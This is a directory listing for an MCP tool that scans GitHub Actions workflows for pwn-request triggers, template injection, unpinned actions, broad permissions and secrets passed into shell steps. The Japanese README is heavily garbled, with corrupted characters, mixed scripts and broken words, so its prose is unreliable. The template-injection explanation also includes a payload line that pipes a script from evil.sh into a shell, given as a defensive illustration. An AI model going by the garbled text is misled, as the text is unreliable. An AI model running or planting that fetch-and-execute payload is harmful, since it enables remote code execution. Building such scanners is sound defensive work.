actions-guard-mcp
actions-guard-mcp
GitHub Actions のワークフロー・セキュリティ・スキャナで、MCP ツールとして用公開されています。エージェントが「pwn リクエスト」やサプライチェーン攻撃の(实际のインシデントを、作っかした(CoreShop、stの、tj-actions など))パターンを、ワークフローファイルがコミットされる前に — コミット後ではなく — 検出できるようにするためのものです。
これが存在する理由
GitHub Actions ワークフロー向けの静的解析は、成熟コ、よく理解されたコ分野です。izのmmor() は、正にこれを対する、信頼があり能動的にメンテンスされているスタンドアローソーすキャナです。まだ存しないのは、その稿の解析を本格的にリップする MCP ラッパーです。広い検索の検で見つけたプロジー1のジェクト(github-vulnerability)は、45 のチェックを組ンの設定・シークレット・サプライチェーンの岐をこ Actions を1 つの汎用ツールに散らしたものです — 12 スターら、5 ヶ月間作にコミットなら。ワークフロのセキュリティ・ビ所に、ディープな、エージェントがワークフローファイル能動中に書くこと・レビュー中に呼び出すものは、何もあり。
Related MCP server: github-actions-audit
検出するもの
危険なトリガ(AGMCP-101) —
pull_request_targetまたはworkflow_runが、ref:やrepository:をトリガーとなった PR / ランそのもののフォークに指すチェックアウト・ステップと組み合わっているケース。これは CoreShop インシデントがジックトの同じ形です。ベース・リポジトリのトークンとシークレットで実ルが、トリガーのンたフォークのコーダをチュックアウトして実ルするワークフローです。
*テンプレート注込む(AGMCP-102)** — アのタッカの制御らされるコンテキスト(github.event.issue.title、github.event.pull_request.title、github.event.comment.body、github.head_ref、toJSON(github.event)のペイロード全体ダンプなどからの) から構築された${{ ... }} 式が、env:を経由しれずにrun:に直接にステップ・インターンではなく直接挿入されているケース。古典的形はrun: echo "${{ github.event.issue.title }}"— のアン issue のタイトール"; curl evil.sh | sh #` を、そのポイの時点では文字列ではなくシェルです。
ピン付けれていないアクションと再利用可能ワークフロー(AGMCP-103) —
uses: --owner/repo@v4(タグ / ブランチ、両方変更可能)を使う代わりに、固定されたコミット SH を使う; ジョブレベルの再利用可能ワークフローの呼び出し(jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main)が同じ様にピンされていない(もしくはdocker://image:tagが@sha256:ダイジェストに固定されていない)。これは tj-actions 事件が使った「のソプライチェーン攻撃面」其のものです。不得勝されたタグが、バーションの上げるあることしに、それを用いる全員を悪意あるコードにポインドさせたのです。こうした事件の hidden 核心です。過剰な権限(AGMCP-104) —
permissions: write-allが、または明し的な広い scope なwriteスコープ(contents、actions、packagesなど)が、ワークフロー・レベルかジョブ・レベルのいずれ以下で、リスクのあるトリガーも持ったるワークフローに設定されえてある — より狭いスコープで足りるのに。シェルにインターリ入されたシークレット(AGMCP-105) —
${{ secrets.X }}をenv:を経由せずに直接るrun:ステップで使用す — 生のシークレット値が、環境変数ではなく、シェルのコマンド・ラインやプロセス一覧に不必要にサされるです。
すべてのマーカ・マッチング(AGMCP-101 / 102 / 105)でが、GitHub Actions の「ブラケット記法」プロパティ・アクセス(github.event['issue']['title'])を、相当しるドット記法に正規化し、大文字・小文字をを無视のないマッチします。表現言語ではその両方のが同一扱いられるからです。
既知なの制限
これはパターンマッチングです — ノーです。の「完全な GitHub Actions 式パーサでも、データフロー分析でもありません。${{ }} 式と with: / permissions: ブロックのテキスト、そのリテラルな文字列に照合てるものです。クリーン・スキャンとは「書かれたままの中に、既知の危険なパターンがない」を意味するのであって、ワークフローの安全性の保証ではありません。コノクリートにの:
クロス・ステープ /
env:のデタフロー追跡のなし。 危険な値が、中間のenv:変数やステップの出力を経由し、チェックアウト・のref:やrun:コマンドに到ル場合、AGMCP-101/102/み105 からは見えません — 検査対象のフィールドのリテラルなのみが検査されます。攻撃者が制御テキスト・マーカ一覧(AGMCP-102)は 有限で手動メンテされているセットであり、GitHub Actions が公開する、すべ のコンテキストールを網羅にある列挙で行の行の権はありません。リストアップされれい新種のフィールド存在していてもあります。
クリーンな結果がセキュリティの判断に関わるなら、そのを「最後の言葉」扱いせず、zizmor の、同ジュゴルのファイルに対しもっと深く、より汎用的な静的解析を行うので、このツールの代わりではなく、併用して実行する価値があります。
セットアップ
pip install actions-guard-mcp
actions-guard-mcpセットアップは必要ありません — すべてのツールは、ワークフローファイルのパス、またはその生の YAML コンテンツを直引直接受け取ります。
状 態
アーリー・ビルド。
ライセンス
MIT
Available Tools
2 toolsscan_workflow_contentA
Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.
Inputs: yaml_content (required).
scan_workflow_fileA
Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.
Inputs: path (required).
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 2 tools
The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.
Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.
With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.
The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.
Maintenance
Related MCP Connectors
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
Check GitHub Actions workflows live: retired actions, bad inputs, injection. Pin actions to SHAs.
GitHub Actions workflow security audit - 21 checks: pinning, permissions, secrets, injection.
GitHub security scanning, code audit, and workflow automation for repositories.
Related MCP Servers
- AlicenseAqualityCmaintenanceLocal-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.354 npm2MIT
- FlicenseNot gradedqualityDmaintenanceAudits GitHub Actions workflow files for supply-chain risks like script injection, leaked tokens, unpinned actions, and broad permissions.-
- AlicenseNot gradedqualityDmaintenanceEnables MCP-compatible AI agents to scan code for leaked secrets, copyleft licenses, unprotected routes, missing privacy policies, and risky card handling before committing or shipping.MIT
- AlicenseNot gradedqualityBmaintenanceEnables agents to audit GitHub Actions workflows for least-privilege problems and generate per-job hardened permissions plans through stdio MCP tools.70 npmMIT